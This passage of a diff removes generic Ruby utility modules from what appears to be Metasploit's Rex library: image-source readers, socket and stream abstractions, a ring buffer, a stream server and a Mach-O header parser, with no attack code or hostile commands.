for f in d
next if f == "." or f == ".."
if File::ALT_SEPARATOR and file =~ /^(?:[\/\\]|[A-Za-z]:[\/\\]?)$/ then
f = file + f
elsif file == "/" then
f = "/" + f
else
f = File.join(file, f)
end
paths.unshift f.untaint
end
ensure
d.close
end
end
rescue Errno::ENOENT, Errno::EACCES
end
end
end
end
def self.prune
throw :prune
end
end
end

View File

@ -1,10 +0,0 @@
# -*- coding: binary -*-
module Rex
module ImageSource
end
end
require 'rex/image_source/disk'
require 'rex/image_source/memory'

View File

@ -1,58 +0,0 @@
# -*- coding: binary -*-
require 'rex/image_source/image_source'
require 'rex/struct2'
module Rex
module ImageSource
class Disk < ImageSource
attr_accessor :file, :file_offset, :size
WINDOW_SIZE = 4096
WINDOW_OVERLAP = 64
def initialize(_file, _offset = 0, _len = nil)
_len = _file.stat.size if !_len
self.file = _file
self.file_offset = _offset
self.size = _len
end
def read(offset, len)
if offset < 0 || offset+len > size
raise RangeError, "Offset #{offset} outside of image source", caller
end
file.seek(file_offset + offset)
file.read(len)
end
def index(search, offset = 0)
# do a sliding window search across the disk
while offset < size
# get a full window size if we can, we
# don't want to read past our boundaries
wsize = size - offset
wsize = WINDOW_SIZE if wsize > WINDOW_SIZE
window = self.read(offset, wsize)
res = window.index(search)
return res + offset if res
offset += WINDOW_SIZE - WINDOW_OVERLAP
end
end
def subsource(offset, len)
self.class.new(file, file_offset+offset, len)
end
def close
file.close
end
end
end
end

View File

@ -1,48 +0,0 @@
# -*- coding: binary -*-
module Rex
module ImageSource
class ImageSource
#
# Um, just some abstract class stuff I guess, this is the interface
# that any image sources should subscribe to...
#
def subsource(offset, len)
raise "do something"
end
def size
raise "do something"
end
def file_offset
raise "do something"
end
def close
raise "do something"
end
def read_asciiz(offset)
# FIXME, make me better
string = ''
loop do
begin
char = read(offset, 1)
rescue RangeError
break
end
break if char.nil? || char == "\x00"
offset += 1
string << char
end
return string
end
end
end
end

View File

@ -1,35 +0,0 @@
# -*- coding: binary -*-
require 'rex/image_source/image_source'
require 'rex/struct2'
module Rex
module ImageSource
class Memory < ImageSource
attr_accessor :rawdata, :size, :file_offset
def initialize(_rawdata, _file_offset = 0)
self.rawdata = _rawdata
self.size = _rawdata.length
self.file_offset = _file_offset
end
def read(offset, len)
rawdata[offset, len]
end
def subsource(offset, len)
self.class.new(rawdata[offset, len], offset + file_offset)
end
def close
end
def index(*args)
rawdata.index(*args)
end
end
end
end

View File

@ -1,26 +0,0 @@
# -*- coding: binary -*-
require 'rex/io/socket_abstraction'
module Rex
module IO
###
#
# This class provides an abstraction to a datagram based
# connection through the use of a datagram socketpair.
#
###
module DatagramAbstraction
include Rex::IO::SocketAbstraction
#
# Creates a streaming socket pair
#
def initialize_abstraction
self.lsock, self.rsock = Rex::Socket.udp_socket_pair
end
end
end; end

View File

@ -1,369 +0,0 @@
# -*- coding: binary -*-
#
# This class implements a ring buffer with "cursors" in the form of sequence numbers.
# To use this class, pass in a file descriptor and a ring size, the class will read
# data from the file descriptor and store it in the ring. If the ring becomes full,
# the oldest item will be overwritten. To emulate a stream interface, call read_data
# to grab the last sequence number and any buffered data, call read_data again,
# passing in the sequence number and all data newer than that sequence will be
# returned, along with a new sequence to read from.
#
require 'rex/socket'
module Rex
module IO
class RingBuffer
attr_accessor :queue # The data queue, essentially an array of two-element arrays, containing a sequence and data buffer
attr_accessor :seq # The next available sequence number
attr_accessor :fd # The associated socket or IO object for this ring buffer
attr_accessor :size # The number of available slots in the queue
attr_accessor :mutex # The mutex locking access to the queue
attr_accessor :beg # The index of the earliest data fragment in the ring
attr_accessor :cur # The sequence number of the earliest data fragment in the ring
attr_accessor :monitor # The thread handle of the built-in monitor when used
attr_accessor :monitor_thread_error # :nodoc: #
#
# Create a new ring buffer
#
def initialize(socket, opts={})
self.size = opts[:size] || (1024 * 4)
self.fd = socket
self.seq = 0
self.beg = 0
self.cur = 0
self.queue = Array.new( self.size )
self.mutex = Mutex.new
end
def inspect
"#<Rex::IO::RingBuffer @size=#{size} @fd=#{fd} @seq=#{seq} @beg=#{beg} @cur=#{cur}>"
end
#
# Start the built-in monitor, not called when used in a larger framework
#
def start_monitor
self.monitor = monitor_thread if not self.monitor
end
#
# Stop the built-in monitor
#
def stop_monitor
self.monitor.kill if self.monitor
self.monitor = nil
end
#
# The built-in monitor thread (normally unused with Metasploit)
#
def monitor_thread
Thread.new do
begin
while self.fd
buff = self.fd.get_once(-1, 1.0)
next if not buff
store_data(buff)
end
rescue ::Exception => e
self.monitor_thread_error = e
end
end
end
#
# Push data back into the associated stream socket. Logging must occur
# elsewhere, this function is simply a passthrough.
#
def put(data, opts={})
self.fd.put(data, opts={})
end
#
# The clear_data method wipes the ring buffer
#
def clear_data
self.mutex.synchronize do
self.seq = 0
self.beg = 0
self.cur = 0
self.queue = Array.new( self.size )
end
end
#
# The store_data method is used to insert data into the ring buffer.
#
def store_data(data)
self.mutex.synchronize do
# self.cur points to the array index of queue containing the last item
# adding data will result in cur + 1 being used to store said data
# if cur is larger than size - 1, it will wrap back around. If cur
# is *smaller* beg, beg is increemnted to cur + 1 (and wrapped if
# necessary
loc = 0
if self.seq > 0
loc = ( self.cur + 1 ) % self.size
if loc <= self.beg
self.beg = (self.beg + 1) % self.size
end
end
self.queue[loc] = [self.seq += 1, data]
self.cur = loc
end
end
#
# The read_data method returns a two element array with the new reader cursor (a sequence number)
# and the returned data buffer (if any). A result of nil/nil indicates that no data is available
#
def read_data(ptr=nil)
self.mutex.synchronize do
# Verify that there is data in the queue
return [nil,nil] if not self.queue[self.beg]
# Configure the beginning read pointer (sequence number, not index)
ptr ||= self.queue[self.beg][0]
return [nil,nil] if not ptr
# If the pointer is below our baseline, we lost some data, so jump forward
if ptr < self.queue[self.beg][0]
ptr = self.queue[self.beg][0]
end
# Calculate how many blocks exist between the current sequence number
# and the requested pointer, this becomes the number of blocks we will
# need to read to satisfy the result. Due to the mutex block, we do
# not need to scan to find the sequence of the starting block or
# check the sequence of the ending block.
dis = self.seq - ptr
# If the requested sequnce number is less than our base pointer, it means
# that no new data is available and we should return empty.
return [nil,nil] if dis < 0
# Calculate the beginning block index and number of blocks to read
off = ptr - self.queue[self.beg][0]
set = (self.beg + off) % self.size
# Build the buffer by reading forward by the number of blocks needed
# and return the last read sequence number, plus one, as the new read
# pointer.
buff = ""
cnt = 0
lst = ptr
ptr.upto(self.seq) do |i|
block = self.queue[ (set + cnt) % self.size ]
lst,data = block[0],block[1]
buff += data
cnt += 1
end
return [lst + 1, buff]
end
end
#
# The base_sequence method returns the earliest sequence number in the queue. This is zero until
# all slots are filled and the ring rotates.
#
def base_sequence
self.mutex.synchronize do
return 0 if not self.queue[self.beg]
return self.queue[self.beg][0]
end
end
#
# The last_sequence method returns the "next" sequence number where new data will be
# available.
#
def last_sequence
self.seq
end
#
# The create_steam method assigns a IO::Socket compatible object to the ringer buffer
#
def create_stream
Stream.new(self)
end
#
# The select method returns when there is a chance of new data
# XXX: This is mostly useless and requires a rewrite to use a
# real select or notify mechanism
#
def select
::IO.select([ self.fd ], nil, [ self.fd ], 0.10)
end
#
# The wait method blocks until new data is available
#
def wait(seq)
nseq = nil
while not nseq
nseq,data = read_data(seq)
select
end
end
#
# The wait_for method blocks until new data is available or the timeout is reached
#
def wait_for(seq,timeout=1)
begin
::Timeout.timeout(timeout) do
wait(seq)
end
rescue ::Timeout::Error
end
end
#
# This class provides a backwards compatible "stream" socket that uses
# the parents ring buffer.
#
class Stream
attr_accessor :ring
attr_accessor :seq
attr_accessor :buff
def initialize(ring)
self.ring = ring
self.seq = ring.base_sequence
self.buff = ''
end
def read(len=nil)
if len and self.buff.length >= len
data = self.buff.slice!(0,len)
return data
end
while true
lseq, data = self.ring.read_data( self.seq )
return if not lseq
self.seq = lseq
self.buff << data
if len
if self.buff.length >= len
return self.buff.slice!(0,len)
else
IO.select(nil, nil, nil, 0.25)
next
end
end
data = self.buff
self.buff = ''
return data
# Not reached
break
end
end
def write(data)
self.ring.write(data)
end
end
end
end
end
=begin
server = Rex::Socket.create_tcp_server('LocalPort' => 0)
lport = server.getsockname[2]
client = Rex::Socket.create_tcp('PeerHost' => '127.0.0.1', 'PeerPort' => lport)
conn = server.accept
r = Rex::IO::RingBuffer.new(conn, {:size => 1024*1024})
client.put("1")
client.put("2")
client.put("3")
s,d = r.read_data
client.put("4")
client.put("5")
client.put("6")
s,d = r.read_data(s)
client.put("7")
client.put("8")
client.put("9")
s,d = r.read_data(s)
client.put("0")
s,d = r.read_data(s)
test_counter = 11
1.upto(100) do
client.put( "X" )
test_counter += 1
end
sleep(1)
s,d = r.read_data
p s
p d
fdata = ''
File.open("/bin/ls", "rb") do |fd|
fdata = fd.read(fd.stat.size)
fdata = fdata * 10
client.put(fdata)
end
sleep(1)
s,vdata = r.read_data(s)
if vdata != fdata
puts "DATA FAILED"
else
puts "DATA VERIFIED"
end
r.clear_data
a = r.create_stream
b = r.create_stream
client.put("ABC123")
sleep(1)
p a.read
p b.read
client.put("$$$$$$")
sleep(1)
p a.read
p b.read
c = r.create_stream
p c.read
=end

View File

@ -1,205 +0,0 @@
# -*- coding: binary -*-
require 'socket'
require 'fcntl'
module Rex
module IO
###
#
# This class provides an abstraction to a stream based
# connection through the use of a streaming socketpair.
#
###
module SocketAbstraction
###
#
# Extension information for required Stream interface.
#
###
module Ext
#
# Initializes peer information.
#
def initinfo(peer,local)
@peer = peer
@local = local
end
#
# Symbolic peer information.
#
def peerinfo
(@peer || "Remote Pipe")
end
#
# Symbolic local information.
#
def localinfo
(@local || "Local Pipe")
end
end
#
# Override this method to init the abstraction
#
def initialize_abstraction
self.lsock, self.rsock = Rex::Compat.pipe
end
#
# This method cleans up the abstraction layer.
#
def cleanup_abstraction
self.lsock.close if (self.lsock and !self.lsock.closed?)
self.rsock.close if (self.rsock and !self.rsock.closed?)
self.lsock = nil
self.rsock = nil
end
#
# Low-level write to the local side.
#
def syswrite(buffer)
lsock.syswrite(buffer)
end
#
# Low-level read from the local side.
#
def sysread(length)
lsock.sysread(length)
end
#
# Shuts down the local side of the stream abstraction.
#
def shutdown(how)
lsock.shutdown(how)
end
#
# Closes both sides of the stream abstraction.
#
def close
cleanup_abstraction
super
end
#
# Symbolic peer information.
#
def peerinfo
"Remote-side of Pipe"
end
#
# Symbolic local information.
#
def localinfo
"Local-side of Pipe"
end
#
# The left side of the stream.
#
attr_reader :lsock
#
# The right side of the stream.
#
attr_reader :rsock
protected
def monitor_rsock(threadname = "SocketMonitorRemote")
self.monitor_thread = Rex::ThreadFactory.spawn(threadname, false) {
loop do
closed = false
buf = nil
if not self.rsock
wlog("monitor_rsock: the remote socket is nil, exiting loop")
break
end
begin
s = Rex::ThreadSafe.select( [ self.rsock ], nil, nil, 0.2 )
if( s == nil || s[0] == nil )
next
end
rescue Exception => e
wlog("monitor_rsock: exception during select: #{e.class} #{e}")
closed = true
end
if( closed == false )
begin
buf = self.rsock.sysread( 32768 )
if buf == nil
closed = true
wlog("monitor_rsock: closed remote socket due to nil read")
end
rescue EOFError => e
closed = true
dlog("monitor_rsock: EOF in rsock")
rescue ::Exception => e
closed = true
wlog("monitor_rsock: exception during read: #{e.class} #{e}")
end
end
if( closed == false )
total_sent = 0
total_length = buf.length
while( total_sent < total_length )
begin
data = buf[total_sent, buf.length]
# Note that this must be write() NOT syswrite() or put() or anything like it.
# Using syswrite() breaks SSL streams.
sent = self.write( data )
# sf: Only remove the data off the queue is write was successfull.
# This way we naturally perform a resend if a failure occured.
# Catches an edge case with meterpreter TCP channels where remote send
# failes gracefully and a resend is required.
if (sent.nil?)
closed = true
wlog("monitor_rsock: failed writing, socket must be dead")
break
elsif (sent > 0)
total_sent += sent
end
rescue ::IOError, ::EOFError => e
closed = true
wlog("monitor_rsock: exception during write: #{e.class} #{e}")
break
end
end
end
if( closed )
begin
self.close_write if self.respond_to?('close_write')
rescue IOError
end
break
end
end
}
end
protected
attr_accessor :monitor_thread
attr_writer :lsock
attr_writer :rsock
end
end; end

View File

@ -1,312 +0,0 @@
# -*- coding: binary -*-
require 'rex/sync/thread_safe'
module Rex
module IO
###
#
# This mixin is an abstract representation of a streaming connection. Streams
# extend classes that must implement the following methods:
#
# syswrite(buffer)
# sysread(length)
# shutdown(how)
# close
# peerinfo
# localinfo
#
###
module Stream
##
#
# Abstract methods
#
##
#
# This method writes the supplied buffer to the stream. This method
# intelligent reduces the size of supplied buffers so that ruby doesn't get
# into a potential global thread blocking state when used on blocking
# sockets. That is, this method will send the supplied buffer in chunks
# of, at most, 32768 bytes.
#
def write(buf, opts = {})
total_sent = 0
total_length = buf.length
block_size = 32768
begin
while( total_sent < total_length )
s = Rex::ThreadSafe.select( nil, [ fd ], nil, 0.2 )
if( s == nil || s[0] == nil )
next
end
data = buf[total_sent, block_size]
sent = fd.write_nonblock( data )
if sent > 0
total_sent += sent
end
end
rescue ::Errno::EAGAIN, ::Errno::EWOULDBLOCK
# Sleep for a half a second, or until we can write again
Rex::ThreadSafe.select( nil, [ fd ], nil, 0.5 )
# Decrement the block size to handle full sendQs better
block_size = 1024
# Try to write the data again
retry
rescue ::IOError, ::Errno::EPIPE
return nil
end
total_sent
end
#
# This method reads data of the supplied length from the stream.
#
def read(length = nil, opts = {})
begin
return fd.read_nonblock( length )
rescue ::Errno::EAGAIN, ::Errno::EWOULDBLOCK
# Sleep for a half a second, or until we can read again
Rex::ThreadSafe.select( [ fd ], nil, nil, 0.5 )
# Decrement the block size to handle full sendQs better
retry
rescue ::IOError, ::Errno::EPIPE
return nil
end
end
#
# Polls the stream to see if there is any read data available. Returns
# true if data is available for reading, otherwise false is returned.
#
def has_read_data?(timeout = nil)
# Allow a timeout of "0" that waits almost indefinitely for input, this
# mimics the behavior of Rex::ThreadSafe.select() and fixes some corner
# cases of unintentional no-wait timeouts.
timeout = 3600 if (timeout and timeout == 0)
begin
if ((rv = ::IO.select([ fd ], nil, nil, timeout)) and
(rv[0]) and
(rv[0][0] == fd))
true
else
false
end
rescue ::Errno::EBADF, ::Errno::ENOTSOCK
raise ::EOFError
rescue StreamClosedError, ::IOError, ::EOFError, ::Errno::EPIPE
# Return false if the socket is dead
return false
end
end
#
# This method returns the selectable file descriptor, or self by default.
#
def fd
self
end
##
#
# Common methods
#
##
#
# This method writes the supplied buffer to the stream by calling the write
# routine.
#
def <<(buf)
return write(buf.to_s)
end
#
# This method calls get_once() to read pending data from the socket
#
def >>
get_once
end
#
# This method writes to the stream, optionally timing out after a period of
# time.
#
def timed_write(buf, wait = def_write_timeout, opts = {})
if (wait and wait > 0)
Timeout.timeout(wait) {
return write(buf, opts)
}
else
return write(buf, opts)
end
end
#
# This method reads from the stream, optionally timing out after a period
# of time.
#
def timed_read(length = nil, wait = def_read_timeout, opts = {})
if (wait and wait > 0)
Timeout.timeout(wait) {
return read(length, opts)
}
else
return read(length, opts)
end
end
#
# This method writes the full contents of the supplied buffer, optionally
# with a timeout.
#
def put(buf, opts = {})
return 0 if (buf == nil or buf.length == 0)
send_len = buf.length
send_idx = 0
wait = opts['Timeout'] || 0
# Keep writing until our send length drops to zero
while (send_idx < send_len)
curr_len = timed_write(buf[send_idx, buf.length-send_idx], wait, opts)
# If the write operation failed due to an IOError, then we fail.
return buf.length - send_len if (curr_len == nil)
send_len -= curr_len
send_idx += curr_len
end
return buf.length - send_len
end
#
# This method emulates the behavior of Pex::Socket::Recv in MSF2
#
def get_once(length = -1, timeout = def_read_timeout)
if (has_read_data?(timeout) == false)
return nil
end
bsize = (length == -1) ? def_block_size : length
data = read(bsize)
raise EOFError if data.nil?
data
end
#
# This method reads as much data as it can from the wire given a maximum
# timeout.
#
def get(timeout = nil, ltimeout = def_read_loop_timeout, opts = {})
# For those people who are used to being able to use a negative timeout!
if (timeout and timeout.to_i < 0)
timeout = nil
end
# No data in the first place? bust.
if (has_read_data?(timeout) == false)
return nil
end
buf = ""
lps = 0
eof = false
# Keep looping until there is no more data to be gotten..
while (has_read_data?(ltimeout) == true)
# Catch EOF errors so that we can handle them properly.
begin
temp = read(def_block_size)
rescue EOFError
eof = true
end
# If we read zero bytes and we had data, then we've hit EOF
if (temp and temp.length == 0)
eof = true
end
# If we reached EOF and there are no bytes in the buffer we've been
# reading into, then throw an EOF error.
if (eof)
# If we've already read at least some data, then it's time to
# break out and let it be processed before throwing an EOFError.
if (buf.length > 0)
break
else
raise EOFError
end
end
break if (temp == nil or temp.empty? == true)
buf += temp
lps += 1
break if (lps >= def_max_loops)
end
# Return the entire buffer we read in
return buf
end
##
#
# Defaults
#
##
#
# The default number of seconds to wait for a write operation to timeout.
#
def def_write_timeout
10
end
#
# The default number of seconds to wait for a read operation to timeout.
#
def def_read_timeout
10
end
#
# The default number of seconds to wait while in a read loop after read
# data has been found.
#
def def_read_loop_timeout
0.1
end
#
# The maximum number of read loops to perform before returning to the
# caller.
#
def def_max_loops
1024
end
#
# The default block size to read in chunks from the wire.
#
def def_block_size
16384
end
protected
end
end end

View File

@ -1,32 +0,0 @@
# -*- coding: binary -*-
require 'rex/io/socket_abstraction'
module Rex
module IO
###
#
# This class provides an abstraction to a stream based
# connection through the use of a streaming socketpair.
#
###
module StreamAbstraction
include Rex::IO::SocketAbstraction
#
# This method creates a streaming socket pair and initializes it.
#
def initialize_abstraction
self.lsock, self.rsock = Rex::Socket.tcp_socket_pair()
self.lsock.extend(Rex::IO::Stream)
self.lsock.extend(Ext)
self.rsock.extend(Rex::IO::Stream)
self.monitor_rsock("StreamMonitorRemote")
end
end
end; end

View File

@ -1,221 +0,0 @@
# -*- coding: binary -*-
require 'thread'
module Rex
module IO
###
#
# This mixin provides the framework and interface for implementing a streaming
# server that can listen for and accept stream client connections. Stream
# servers extend this class and are required to implement the following
# methods:
#
# accept
# fd
#
###
module StreamServer
##
#
# Abstract methods
#
##
##
#
# Default server monitoring and client management implementation follows
# below.
#
##
#
# This callback is notified when a client connects.
#
def on_client_connect(client)
if (on_client_connect_proc)
on_client_connect_proc.call(client)
end
end
#
# This callback is notified when a client connection has data that needs to
# be processed.
#
def on_client_data(client)
if (on_client_data_proc)
on_client_data_proc.call(client)
end
end
#
# This callback is notified when a client connection has closed.
#
def on_client_close(client)
if (on_client_close_proc)
on_client_close_proc.call(client)
end
end
#
# Start monitoring the listener socket for connections and keep track of
# all client connections.
#
def start
self.clients = []
self.client_waiter = ::Queue.new
self.listener_thread = Rex::ThreadFactory.spawn("StreamServerListener", false) {
monitor_listener
}
self.clients_thread = Rex::ThreadFactory.spawn("StreamServerClientMonitor", false) {
monitor_clients
}
end
#
# Terminates the listener monitoring threads and closes all active clients.
#
def stop
self.listener_thread.kill
self.clients_thread.kill
self.clients.each { |cli|
close_client(cli)
}
end
#
# This method closes a client connection and cleans up the resources
# associated with it.
#
def close_client(client)
if (client)
clients.delete(client)
begin
client.close
rescue IOError
end
end
end
#
# This method waits on the server listener thread
#
def wait
self.listener_thread.join if self.listener_thread
end
##
#
# Callback procedures.
#
##
#
# This callback procedure can be set and will be called when new clients
# connect.
#
attr_accessor :on_client_connect_proc
#
# This callback procedure can be set and will be called when clients
# have data to be processed.
#
attr_accessor :on_client_data_proc
#
# This callback procedure can be set and will be called when a client
# disconnects from the server.
#
attr_accessor :on_client_close_proc
attr_accessor :clients # :nodoc:
attr_accessor :listener_thread, :clients_thread # :nodoc:
attr_accessor :client_waiter
protected
#
# This method monitors the listener socket for new connections and calls
# the +on_client_connect+ callback routine.
#
def monitor_listener
while true
begin
cli = accept
if not cli
elog("The accept() returned nil in stream server listener monitor: #{fd.inspect}")
::IO.select(nil, nil, nil, 0.10)
next
end
# Append to the list of clients
self.clients << cli
# Initialize the connection processing
on_client_connect(cli)
# Notify the client monitor
self.client_waiter.push(cli)
# Skip exceptions caused by accept() [ SSL ]
rescue ::EOFError, ::Errno::ECONNRESET, ::Errno::ENOTCONN, ::Errno::ECONNABORTED
rescue ::Interrupt
raise $!
rescue ::Exception
elog("Error in stream server server monitor: #{$!}")
rlog(ExceptionCallStack)
break
end
end
end
#
# This method monitors client connections for data and calls the
# +on_client_data+ routine when new data arrives.
#
def monitor_clients
begin
# Wait for a notify if our client list is empty
if (clients.length == 0)
self.client_waiter.pop
next
end
sd = Rex::ThreadSafe.select(clients, nil, nil, nil)
sd[0].each { |cfd|
begin
on_client_data(cfd)
rescue ::EOFError, ::Errno::ECONNRESET, ::Errno::ENOTCONN, ::Errno::ECONNABORTED
on_client_close(cfd)
close_client(cfd)
rescue ::Interrupt
raise $!
rescue ::Exception
close_client(cfd)
elog("Error in stream server client monitor: #{$!}")
rlog(ExceptionCallStack)
end
}
rescue ::Rex::StreamClosedError => e
# Remove the closed stream from the list
clients.delete(e.stream)
rescue ::Interrupt
raise $!
rescue ::Exception
elog("Error in stream server client monitor: #{$!}")
rlog(ExceptionCallStack)
end while true
end
end
end
end

View File

@ -1,9 +0,0 @@
# -*- coding: binary -*-
module Rex
module MachParsey
end
end
require 'rex/machparsey/mach'

View File

@ -1,31 +0,0 @@
# -*- coding: binary -*-
module Rex
module MachParsey
class MachError < ::RuntimeError
end
class MachParseError < MachError
end
class MachHeaderError < MachParseError
end
class ProgramHeaderError < MachParseError
end
class BoundsError < MachError
end
class FatError < ::RuntimeError
end
class FatParseError < FatError
end
class FatHeaderError < FatParseError
end
end
end

View File

@ -1,209 +0,0 @@
# -*- coding: binary -*-
require 'rex/machparsey/machbase'
require 'rex/machparsey/exceptions'
require 'rex/image_source'
module Rex
module MachParsey
class Mach < MachBase
attr_accessor :mach_header, :segments, :isource, :bits, :endian, :arch, :fat_offset
def initialize(isource, offset = 0, fat = false)
_parse_mach_header(isource, offset)
if fat == true
self.fat_offset = offset
else
self.fat_offset = 0
end
self.isource = isource
end
def _parse_mach_header(isource, offset)
self.mach_header = MachHeader.new(isource.read(offset, MACH_HEADER_SIZE_64))
bits = mach_header.bits
endian = mach_header.endian
ncmds = mach_header.ncmds
if bits == BITS_32
offset += MACH_HEADER_SIZE
else
offset += MACH_HEADER_SIZE_64
end
segments = []
ncmds.times do
load_command = LoadCommand.new(isource.read(offset, LOAD_COMMAND_SIZE), endian)
case load_command.cmd
when LC_SEGMENT
segments << Segment.new(isource.read(offset, SEGMENT_COMMAND_SIZE), bits, endian)
when LC_SEGMENT_64
segments << Segment.new(isource.read(offset, SEGMENT_COMMAND_SIZE_64), bits, endian)
end
offset += load_command.cmdsize
end
self.mach_header = mach_header
self.segments = segments
self.isource = isource
self.bits = bits
self.endian = endian
return segments
end
def self.new_from_file(filename, disk_backed = false)
file = ::File.open(filename, "rb")
if disk_backed
return self.new(ImageSource::Disk.new(file))
else
obj = new_from_string(file.read)
file.close
return obj
end
end
def self.new_from_string(data)
return self.new(ImageSource::Memory.new(data))
end
def ptr_64?
mach_header.bits == BITS_64
end
def ptr_32?
ptr_64? == false
end
def ptr_s(vaddr)
(ptr_32?) ? ("0x%.8x" % vaddr) : ("0x%.16x" % vaddr)
end
def read(offset, len)
isource.read(fat_offset + offset, len)
end
def index(*args)
isource.index(*args)
end
def close
isource.close
end
end
class Fat < FatBase
attr_accessor :fat_header, :fat_archs, :machos, :isource
def initialize(isource, offset = 0)
self.fat_archs = []
self.machos = []
self.isource = isource
self.fat_header = FatHeader.new(isource.read(offset, FAT_HEADER_SIZE))
if !self.fat_header
raise FatHeaderError, "Could not parse FAT header"
end
print "Detected " + self.fat_header.nfat_arch.to_s + " archs in binary.\n"
offset += FAT_HEADER_SIZE
self.fat_header.nfat_arch.times do
fat_arch = FatArch.new(isource.read(offset, FAT_ARCH_SIZE), self.fat_header.endian)
self.fat_archs << fat_arch
self.machos << Mach.new(isource, fat_arch.offset, true)
offset += FAT_ARCH_SIZE
end
end
#this is useful for debugging but we don't use it for anything.
def _parse_fat_header(isource, offset)
archs = []
nfat_arch = self.fat_header.nfat_arch
print "Number of archs in binary: " + nfat_arch.to_s + "\n"
nfat_arch.times do
arch = FatArch.new(isource.read(offset, FAT_ARCH_SIZE), self.endian)
case arch.cpu_type
when CPU_TYPE_I386
print "i386\n"
when CPU_TYPE_X86_64
print "x86_64\n"
when CPU_TYPE_ARM
print "Arm\n"
when CPU_TYPE_POWERPC
print "Power PC\n"
when CPU_TYPE_POWERPC64
print "Power PC 64\n"
end
offset += FAT_ARCH_SIZE
end
end
def self.new_from_file(filename, disk_backed = false)
file = ::File.open(filename, "rb")
if disk_backed
return self.new(ImageSource::Disk.new(file))
else
obj = new_from_string(file.read)
file.close
return obj
end
end
def self.new_from_string(data)
return self.new(ImageSource::Memory.new(data))
end
def ptr_64?
mach_header.bits == BITS_64
end
def ptr_32?
ptr_64? == false
end
def ptr_s(vaddr)
(ptr_32?) ? ("0x%.8x" % vaddr) : ("0x%.16x" % vaddr)
end
def read(offset, len)
isource.read(offset, len)
end
def index(*args)
isource.index(*args)
end
def close
isource.close
end
end
end
end

View File

@ -1,408 +0,0 @@
# -*- coding: binary -*-
require 'rex/struct2'
module Rex
module MachParsey
require 'rex/machparsey/exceptions'
require 'rex/struct2'
class GenericStruct
attr_accessor :struct
def initialize(_struct)
self.struct = _struct
end
# Access a value
def v
struct.v
end
# Access a value by array
def [](*args)
struct[*args]
end
# Obtain an array of all fields
def keys
struct.keys
end
def method_missing(meth, *args)
v[meth.to_s] || (raise NoMethodError.new, meth)
end
end
class GenericHeader < GenericStruct
end
BITS_32 = 0
BITS_64 = 1
ENDIAN_LSB = 0
ENDIAN_MSB = 1
class MachBase
MH_MAGIC = 0xfeedface
MH_MAGIC_64 = 0xfeedfacf
MH_CIGAM = 0xcefaedfe
MH_CIGAM_64 = 0xcffaedfe
MACH_HEADER_SIZE = 28
MACH_HEADER_SIZE_64 = 32
MACH_HEADER_LSB = Rex::Struct2::CStructTemplate.new(
['uint32v', 'magic', 0],
['uint32v', 'cputype', 0],
['uint32v', 'cpusubtype',0],
['uint32v', 'filetype', 0],
['uint32v', 'ncmds', 0],
['uint32v', 'sizeofcmds',0],
['uint32v', 'flags', 0]
)
MACH_HEADER_MSB = Rex::Struct2::CStructTemplate.new(
['uint32n', 'magic', 0],
['uint32n', 'cputype', 0],
['uint32n', 'cpusubtype',0],
['uint32n', 'filetype', 0],
['uint32n', 'ncmds', 0],
['uint32n', 'sizeofcmds',0],
['uint32n', 'flags', 0]
)
MACH_HEADER_64_LSB = Rex::Struct2::CStructTemplate.new(
['uint32v', 'magic', 0],
['uint32v', 'cputype', 0],
['uint32v', 'cpusubtype',0],
['uint32v', 'filetype', 0],
['uint32v', 'ncmds', 0],
['uint32v', 'sizeofcmds',0],
['uint32v', 'flags', 0],
['uint32v', 'reserved', 0]
)
MACH_HEADER_64_MSB = Rex::Struct2::CStructTemplate.new(
['uint32n', 'magic', 0],
['uint32n', 'cputype', 0],
['uint32n', 'cpusubtype',0],
['uint32n', 'filetype', 0],
['uint32n', 'ncmds', 0],
['uint32n', 'sizeofcmds',0],
['uint32n', 'flags', 0],
['uint32n', 'reserved', 0]
)
#cpu types for Mach-O binaries
CPU_TYPE_I386 = 0x7
CPU_TYPE_X86_64 = 0x01000007
CPU_TYPE_ARM = 0xC
CPU_TYPE_POWERPC = 0x12
CPU_TYPE_POWERPC64 = 0x01000012
CPU_SUBTYPE_LITTLE_ENDIAN = 0
CPU_SUBTYPE_BIG_ENDIAN = 1
LC_SEGMENT = 0x1 #/* segment of this file to be mapped */
LC_SYMTAB = 0x2 #/* link-edit stab symbol table info */
LC_SYMSEG = 0x3 #/* link-edit gdb symbol table info (obsolete) */
LC_THREAD = 0x4 #/* thread */
LC_UNIXTHREAD = 0x5 #/* unix thread (includes a stack) */
LC_LOADFVMLIB = 0x6 #/* load a specified fixed VM shared library */
LC_IDFVMLIB = 0x7 #/* fixed VM shared library identification */
LC_IDENT = 0x8 #/* object identification info (obsolete) */
LC_FVMFILE = 0x9 #/* fixed VM file inclusion (internal use) */
LC_PREPAGE = 0xa #/* prepage command (internal use) */
LC_DYSYMTAB = 0xb #/* dynamic link-edit symbol table info */
LC_LOAD_DYLIB = 0xc #/* load a dynamicly linked shared library */
LC_ID_DYLIB = 0xd #/* dynamicly linked shared lib identification */
LC_LOAD_DYLINKER = 0xe #/* load a dynamic linker */
LC_ID_DYLINKER = 0xf #/* dynamic linker identification */
LC_PREBOUND_DYLIB = 0x10 #/* modules prebound for a dynamicly */
LC_SEGMENT_64 = 0x19 #/* segment of this file to be mapped */
class MachHeader < GenericHeader
attr_accessor :bits, :endian
def initialize(rawdata)
mach_header = MACH_HEADER_LSB.make_struct
if !mach_header.from_s(rawdata)
raise MachHeaderError, "Could't access Mach-O Magic", caller
end
if mach_header.v['magic'] == MH_MAGIC
endian = ENDIAN_LSB
bits = BITS_32
mach_header = MACH_HEADER_LSB.make_struct
elsif mach_header.v['magic'] == MH_CIGAM
bits = BITS_32
endian = ENDIAN_MSB
mach_header = MACH_HEADER_MSB.make_struct
elsif mach_header.v['magic'] == MH_MAGIC_64
endian = ENDIAN_LSB
bits = BITS_64
mach_header = MACH_HEADER_LSB.make_struct
elsif mach_header.v['magic'] == MH_CIGAM_64
endian = ENDIAN_MSB
bits = BITS_64
mach_header = MACH_HEADER_MSB.make_struct
else
raise MachHeaderError, "Couldn't find Mach Magic", caller
end
if !mach_header.from_s(rawdata)
raise MachHeaderError, "Could't process Mach-O Header", caller
end
self.struct = mach_header
self.endian = endian
self.bits = bits
end
end
LOAD_COMMAND_SIZE = 8
LOAD_COMMAND_LSB = Rex::Struct2::CStructTemplate.new(
['uint32v','cmd',0],
['uint32v','cmdsize',0]
)
LOAD_COMMAND_MSB = Rex::Struct2::CStructTemplate.new(
['uint32n','cmd',0],
['uint32n','cmdsize',0]
)
class LoadCommand < GenericHeader
def initialize(rawdata, endian)
if endian == ENDIAN_MSB
